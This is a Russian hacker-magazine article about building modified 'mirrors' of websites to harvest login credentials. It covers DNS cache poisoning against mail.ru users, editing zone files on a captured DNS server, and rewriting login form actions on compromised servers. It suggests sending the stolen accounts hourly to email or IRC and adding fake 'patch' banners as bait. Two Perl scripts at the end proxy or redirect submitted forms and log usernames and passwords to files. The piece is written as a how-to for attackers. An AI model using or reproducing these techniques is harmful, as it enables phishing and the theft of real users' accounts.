Настольная книга компьютерного исследователя


Зазеркалье

Все знают что-такое зеркала. Нет, не те зеркала, в которых вы видите вечно не вспавшуюся, немного под хмельком рожу — зеркала сайтов. Т.е.есть полная копия сайта, для облегчения доступа и снижения нагрузки на основную машину. Но мы приспособим эту идею под свои нужды, пойдем дальше таких зеркал, то есть в Зазеркалье.Это те же зеркала, тока немного искривленные (модифицированные).

Итак, рассмотрим что это такое и зачем оно нужно. Я рассмотрю несколько случаев, так сказать интересных, когда могут понадобиться эти кривые зеркала.

Вариант первый. Вы успешно атаковали DNS кэш какого-либо сервера. И вместо всеми любимого mail.ru пользователям выдают наш левый ип адрес. Далее, чтоб не растраивать полсетителей, мы делаем на нем полное зеркало mail.ru, за небольшим исключением. В форме отвественной за пероверку аккаунта подменяем form action на путь к нашему скрипту, задача которого сводиться к следующему, принять аккаунт, сделать http запрос по реальному IP адресу сервера, на проверку полученного аккаунта. И в зависимости от ответа записать его в текстовой файл, далее выдать получнный ответ, с подправленными ссылками. Вида:

http://mailbox.mail.ru/mail.cgi

меняем на

http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi

Что делает mirror.pl, я думаю,понятно. Просто соединяеться с реальным сервером передает все что надо (cookies, form_field etc) и возвращает ответ от реального сервера стакими же подправленымина себя линками. В итоге, после экспериментов и настройкой скриптов мы имеем полное зеркало сайта, немного правда искревленное нужной нам функцией. Для особо ленивых могу посоветовать ежечасный сброс собранных аккаунтов на мыло или на популярный IRC канал. Единственное добавлю, что настройку и отладку такого вот кривого зеркала, необходимо делать до подмены данных в DNS кэше, иначе громкие вопли юзверев в суппорт в процессе подготовки зеркала сведут все результаты на нет.

Вариант второй. Многие, захватив сервер, и не найдя с первого взгляда вкусных баз\инфы, забивают на него, при этом очень часто, забывают поглядеть в /var/named или c:\winnt\system32\dns, так как в случае, если эта машина ответственна за какую-либо DNS зону, то намного целесообразнее найти в ней что-нибудь вкусное, типа radius.our.zone или billing.our.zone, и просто изменить IP-адрес этого имени. Не забывая дать named-у сигнал перечитать конфигурационный файлм(не забывайте о записи serial, чтоб инфа о новом ИП дошла и до вторичного ДНС сервера тоже). Или в случае вин32, после изменения текстовых файлов обычного юниксового формата, перезапустить сервис. Рекомендации по строительству кривого зеркала абсолютно такие же как и в первом случае.

Вариант третий (самый распространенный). Часто случаеться так, что получив контроль над машиной, понимаеш, что смотрел задницей, и прозевал что форма передает данные не на эту машину а на другую. Или получить доступ на главный WWW сервер оказалось делом плевым, а вот получить доступ к серверу, куда отправляються данные для авторизации, в короткие сроки не реально. В этой ситуации, наиболее простым решением, являеться изменение поля action, в форме, которая отправляет нужные данные, на путь к своему скрипту (на этом же, или другом сервере). Который будет опрашивать реальный, и возвращать результат, или перенаправлять на реальный, в зависимости от конкретного случая, естесственно с сохраненим проходящей информации. Также, тут можно включить фантазию, и добавить пару полей в форму, или повесить сочный баннер призывающий, якобы «попатчить» новую ошибку в системе, контроль над которой, мы хотим получить.

Ниже, идут примеры скриптов, но мне лень делать что-либо общее и универсальное, так как писать скрипты, особенно на перле, должен уметь каждый програмер, а вы уж и подавно. Потому что, сегодня без автоматизции, жить трудно.

——————————————————————————
#!perl
use Socket;
use CGI param;

$text1=param(«text1″);
$text2=param(«text2″);
$text3=param(«text3″);

$remote=»xxx.xxx.xx.x»;$port=»80″;
if ($port =~ /\D/) { $port = getservbyname($port, ‘tcp’) };
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname(‘tcp’);
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die «socket()»;
connect(SOCK, $paddr);

$data=»text1=$text1&text2=$text2&text3=$text3″;

send SOCK,»POST /mail HTTP/1.1\n»,0;
send SOCK,»Content-Length: «.length($data).»\n»,0;
send SOCK,»Content-Type: application/x-www-form-urlencoded\n»,0;
send SOCK,»Connection: Keep-Alive\n\n»,0;
send SOCK,$data,0;
while(<SOCK>){$ret=»$ret».»$_»;}

open (FILE2 ,»>>_log.txt») || die «open() log $! [email protected]»;
print FILE2 «—=$remote:$port=—\n$ret\n$data\n\n»;
close FILE2;
close(SOCK);
——————————————————————————
#!perl
use CGI param;
$login=param(«login»);$pass=param(«pass»);
print «Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n»;
open WR, «>>data.txt»;print WR «$login:$pass\n»;close WR;
——————————————————————————

P.S. Возможно эта статья покажеться кому-то слишком простой и неинтересной, но просто хотел заострить внимание, на том, как еще можно использовать, машины в интернете, помимо использования их обьемов винтов, процессорных реурсов, и каналов в Сеть. А так же расказать про возможности, которые многие упускают сосредоточившись на поиск дырок непосредственно на цели атаки.

(с) Free_Hunt



©2013 Журнал Хакера Entries (RSS) and Comments (RSS)